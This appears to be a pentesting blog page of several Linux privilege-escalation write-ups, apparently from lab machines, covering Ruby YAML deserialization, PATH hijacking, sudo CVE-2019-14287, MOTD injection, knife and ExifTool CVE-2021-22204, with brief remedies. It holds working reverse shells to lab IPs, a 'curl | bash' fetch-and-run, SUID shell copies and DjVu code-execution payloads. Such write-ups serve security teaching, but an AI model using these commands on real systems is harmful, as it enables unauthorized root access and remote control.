Ruby – Insecure Deserialization – YAML (Privilege Escalation – Code Execution)

by Vry4n_ | Jun 23, 2023 | Privilege Escalation

Understanding Insecure Deserialization

Deserialization is the process of transforming serialized data, such as YAML or JSON, back into its original form. Insecure deserialization occurs when untrusted data is deserialized without proper validation, leading to potential security risks. Attackers can exploit this vulnerability to execute arbitrary code, bypass authentication, or perform other malicious activities.

YAML in Ruby:

Ruby, a popular programming language known for its simplicity and flexibility, provides built-in support for YAML parsing. YAML (YAML Ain’t Markup Language) is a human-readable data serialization format commonly used for configuration files and data exchange. However, YAML’s ease of use can inadvertently introduce security vulnerabilities if not handled correctly.

Risks of Insecure Deserialization:

Insecure deserialization in Ruby’s YAML parser can have severe consequences. Attackers may manipulate serialized data to exploit vulnerable code paths, leading to remote code execution or denial of service attacks. It’s crucial to understand the potential risks and adopt preventive measures.

The pre-requisites are as follows:

The ActiveSupport gem must be installed and loaded.
ERB from the standard library must be loaded (which Ruby does not load by default).
After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

Yaml.load

Vulnerable code

Universal gadget for ruby <= 2.7.2:

Universal gadget for ruby 2.x – 3.x.

Yaml.load(File_read())

Identification

1. In this case we have an application that reads/runs “dependencies.yml”, it uses Yaml.load(File_read()) to load the file. This Ruby script was found to run as sudo without password, it also doesn’t specify the specify path for the file

sudo -l

2. If we read the file “update_dependencies.rb”, we will find yaml.load in the script, and it uses the function File_read()

cat /opt/update_dependencies.rb

3. Verify the ruby version

ruby -v

3. Now, its time to read “dependencies.yml

cat dependencies.yml

Exploitation

1. Now that we know the version of ruby we can apply the right syntax (Universal gadget for ruby 2.x – 3.x) in our case as ruby version is 2.7.4, we will create a file in /tmp , name it as “dependencies.yml”, and inject the Linux command “id”

cd /tmp
vi dependencies.yml
cat dependencies.yml

2. Run the command, we’ll notice the output of the “id” Linux command

sudo /usr/bin/ruby /opt/update_dependencies.rb

3. Knowing we can execute commands, we can try to elevate our privileges, in this case I will start a listener in my local machine, and run a ruby reverse shell to communicate on port 5555

Listener local machine

nc -lvp 5555

YAML payload in the remote machine

vi dependencies.yml
cat dependencies.yml
ADD: git_set: ruby -rsocket -e’spawn(“sh”,[:in,:out,:err]=>TCPSocket.new(“10.10.14.8”,5555))’

4. Check the listener, you should have a reverse shell with privilege rights

Best Practices to Mitigate Insecure Deserialization:

To mitigate insecure deserialization vulnerabilities in Ruby YAML, developers should follow these best practices:

a. Validate Input: Implement strict input validation to ensure that only trusted data is deserialized.

b. Use Safe Loading: Enable safe loading mode during YAML parsing to restrict object creation to basic types, reducing the risk of code execution.

c. Employ Whitelisting: Restrict allowed classes during deserialization to prevent the creation of potentially dangerous objects.

d. Sanitize User Input: Treat user input as untrusted and sanitize it thoroughly before deserialization.

e. Regular Updates: Keep the Ruby interpreter, YAML library, and dependencies up to date to benefit from security patches and bug fixes.

Sources

https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ruby-privilege-escalation/

Portswigger – Insecure Deserialization

https://www.elttam.com/blog/ruby-deserialization/

http://phrack.org/issues/69/12.html

https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/

(Privilege Escalation) Linux Path hijacking

by Vry4n_ | Jun 2, 2023 | Privilege Escalation

Linux path hijacking, also known as path traversal or privilege escalation, is a security vulnerability that occurs when an attacker manipulates the system’s search path to execute malicious code or gain elevated privileges. This type of attack typically targets vulnerable applications that do not properly validate user-supplied input when searching for files or executing commands.

The $PATH environment variable plays a crucial role in Linux systems by defining a list of directories where the operating system searches for executable files. However, when applications fail to properly validate and sanitize user input when utilizing the $PATH variable, a vulnerability known as path hijacking or privilege escalation can arise.

Path hijacking occurs when an attacker manipulates the $PATH variable to force the system to execute a malicious file instead of the intended command. By placing a directory under their control at the beginning of $PATH, the attacker ensures their files are discovered first during the search process.

Here’s an explanation of the path hijacking process:

Path Environment Variable: Linux systems have an environment variable called “PATH” that contains a list of directories in which the system searches for executable files. When a command is executed, the system looks for the corresponding executable file in these directories in the order specified by the PATH variable.
Finding a Vulnerable Application: The attacker looks for a vulnerable application that performs file operations or executes commands without properly validating user-supplied input or controlling the search path. For example, an application that uses relative paths or does not sanitize user input.
Identifying the Vulnerable Path: The attacker identifies a vulnerable point in the application where the input is used to construct a file path or command without proper validation. The goal is to find a way to manipulate the path used by the application to execute arbitrary files or commands.
Crafting the Attack: The attacker provides input that includes special characters or sequences to manipulate the path. These characters or sequences are designed to bypass security checks and allow the attacker to traverse directories or execute arbitrary files.
Exploiting the Vulnerability: By carefully constructing the input, the attacker can trick the vulnerable application into executing a malicious file or command. This can lead to various consequences, such as arbitrary code execution, unauthorized access, or privilege escalation.

Example: Malicious Script Execution

Let’s consider an application called “insecure_app” that executes a user-supplied script based on the value of $PATH. The code snippet below demonstrates this scenario:

In this case, an attacker modifies their own $PATH variable:

The attacker then creates a malicious script named “ls” in their “home/attacker” directory. Upon executing “insecure_app ls,” the malicious script is run instead of the legitimate “ls” command.

Identification

1. We found a file being that can be executed with sudo permissions

sudo -l

2. Inspecting the file contents we see that it runs gzip to back up some files

cat /opt/scripts/access_backup.sh

Exploitation

1. Knowing we can execute this file with elevated permissions we proceed to play with its logic, first we will find out where is gzip located and if the location is included within $PATH environment variable

whereis gzip
echo $PATH

2. We can now proceed to modify the $PATH environment variable to point to /tmp and save our new script named “gzip” there, this basic script will create a new empty file in /tmp, we want to verify that the permissions are root

export PATH=/tmp:$PATH
echo $PATH
echo -ne ‘#!/bin/bash\ntouch test.txt’ > gzip
chmod 777 gzip
sudo /opt/scripts/access_backup.sh

3. We confirmed that the test.txt file was created with the privileges of root. We can now further exploit this vulnerability by copying /bin/bash, making it accessible to anyone, and run it

echo -ne ‘#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash’ > gzip
cat gzip
chmod 777 gzip
sudo /opt/scripts/access_backup.sh

4. Now run this new bash that has SUID bit set to elevate privileges

./bash -p
whoami

Remedy

To mitigate path hijacking vulnerabilities, several preventive measures should be taken:

Validate and Sanitize User Input: Applications must carefully validate and sanitize any user-supplied input to prevent malicious manipulation of the $PATH variable.
Absolute Paths: Avoid relying solely on the $PATH variable for command execution. Instead, use absolute paths to ensure the intended executable is executed.
Least Privilege Principle: Limit the privileges of applications and users to minimize the potential impact of a successful path hijacking attack.
Regular Updates: Keep the system and software up to date to benefit from security patches and fixes that address path hijacking vulnerabilities.

Sources

https://systemweakness.com/linux-privilege-escalation-using-path-variable-manipulation-64325ab05469

https://medium.com/r3d-buck3t/hijacking-relative-paths-in-suid-programs-fed804694e6e

https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

https://book.hacktricks.xyz/linux-hardening/privilege-escalation

Sudo ALL keyword security bypass – Privilege Escalation – (CVE-2019-14287)

by Vry4n_ | Apr 2, 2023 | Privilege Escalation

Sudo could allow a local authenticated attacker to bypass security restrictions , caused by an issue with running commands with arbitrary user ID. By using the ALL keyword in a Runas specification, an attacker could exploit this vulnerability to bypass security restrictions and execute arbitrary command on the system with root privileges.

Affected Products

Sudo 1.8.27

Detection

1. Find the version of sudo

sudo –version

2. Also, see the privileges on sudo (ALL, !root) is key

sudo -l

Exploit

1. Run this command to trick sudo and execute /bin/bash as root, you need to use the current user password to authenticate sudo

sudo -u#-1 /bin/bash

Remedy

Upgrade to the latest version of Sudo (1.8.28 or later), available from the Sudo Web site.

Resources

https://www.exploit-db.com/exploits/47502

https://nvd.nist.gov/vuln/detail/CVE-2019-14287

https://exchange.xforce.ibmcloud.com/vulnerabilities/168933

https://seclists.org/oss-sec/2019/q4/18

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287

MOTD – Privilege Escalation

by Vry4n_ | Feb 15, 2023 | Privilege Escalation

Having permissions to modify /etc/update-motd.d/00-header allows us to inject code and execute it at the time of a user logging in, the code will be executed by the SSH service owner, most likely root

Identify

1. Check the current permissions of the user

2. Verify the folder and file permissions

ls -ld /etc/update-motd.d
ls -lR /etc/update-motd.d/

As we can see our user is part of the sysadmin group which has RWX permissions.

Exploitation

1. Modify the file /etc/update-motd.d/00-header, probably add a reverse shell

echo ‘bash -c “bash -i >& /dev/tcp/10.10.14.6/4444 0>&1″‘ >> /etc/update-motd.d/00-header

2. Start a listener in the attacker machine

nc -lvp 4444

3. Log again

ssh sysadmin@10.10.10.181

4. Check the listener and there should be a reverse shell

Remedy

Assign proper permissions to the files in /etc/update-motd.d

Knive – Privilege Escalation

by Vry4n_ | Feb 13, 2023 | Privilege Escalation

knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server.

This program can be abused, if improper permissions are given

Detect

1. Check user sudo permissions

sudo -l

Exploit

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

knife exec -E ‘exec “/bin/sh”‘

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo knife exec -E ‘exec “/bin/sh”‘
whoami

Remedy

Assign proper rights to users, by following general user management procedures

ExifTool 12.23 – Arbitrary Code Execution – (Privilege escalation) – CVE-2021-22204

by Vry4n_ | Aug 26, 2022 | Privilege Escalation

ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu file format. By using a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.

To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code.

Affected version

7.44 to 12.23

Enumeration

1. Check the tool version

exiftool -ver

2. Supported extensions

exiftool -listf

3. Using PSPY script, I noticed a script running quite often /opt/image-exif.sh, before that script I see cron being executed, so, I assume this is a scheduled task

./pspy64

4. Reading the contents of /etc/crontab I confirm this is a scheduled task

less /etc/crontab

5. I tried to read the file, and I had permissions

ls -l /opt/image-exif.sh
cat /opt/image-exif.sh

6. Taking a look at the script, it does the following

inspect jpg files located in /var/www/html/subrion/uploads
it uses exiftool to read the file and store the EXIF data of each file in /opt/metadata

7. As we verified that exiftool is vulnerable, and it is running to a folder we can write files, we can upload a crafted JPG file so exiftool executes against it

Basic POC

1. Install the required binaries

sudo apt-get install -y djvulibre-bin

2. Create a file named payload, add the following code

vi payload
(metadata “\c${system(‘id’)};”)
cat payload

3. (OPTIONAL) Compress our payload file with to make it non human-readable

bzz payload payload.bzz

4. Convert our payload into .djvu file

# INFO = Anything in the format ‘N,N’ where N is a number

# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image

# ANTz = Will write the compressed annotation chunk with the input file

djvumake exploit.djvu INFO=’1,1′ BGjp=/dev/null ANTz=payload.bzz

5. Transfer this file to the victim machine and run exitftool against it, the output should show the contents of “id” command also

cd /tmp
wget http://192.168.49.158:8081/exploit.djvu
exiftool exploit.djvu

Note: Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file.

Exploitation (Manual)

1. Knowing exiftool’s installed version and confirming it is vulnerable to CVE-2021-22204 (7.44 to 12.23), we proceed to exploit it

vi exploit.sh

#!/bin/bash

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.49.158”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

2. Create the payload

vi payload
(metadata “\c${system (‘curl http://192.168.49.158/exploit.sh | bash’)};”)

3. Now create a djvu file

djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload

4. Proceed to change the file name to look like .jpg

mv exploit.djvu exploit.jpg

5. Start the listener and the web server for the file transfer

python3 -m http.server 8081
nc -lvp 4444

6. Transfer to the remote machine

cd /var/www/html/subrion/uploads
wget http://192.168.49.158:8081/exploit.jpg

Note: As we noticed before, there was a script running in the remote victim machine, it was using exiftool as a scheduled task to inspect jpg files in /var/www/html/subrion/uploads, I will upload exploit.jpg and wait for the task to execute

7. Wait for exiftool to execute the code as per the scheduled task in this case